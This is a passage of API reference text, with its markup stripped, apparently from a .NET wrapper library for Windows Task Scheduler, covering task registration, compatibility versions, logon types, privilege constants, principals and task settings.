folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see +
Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. 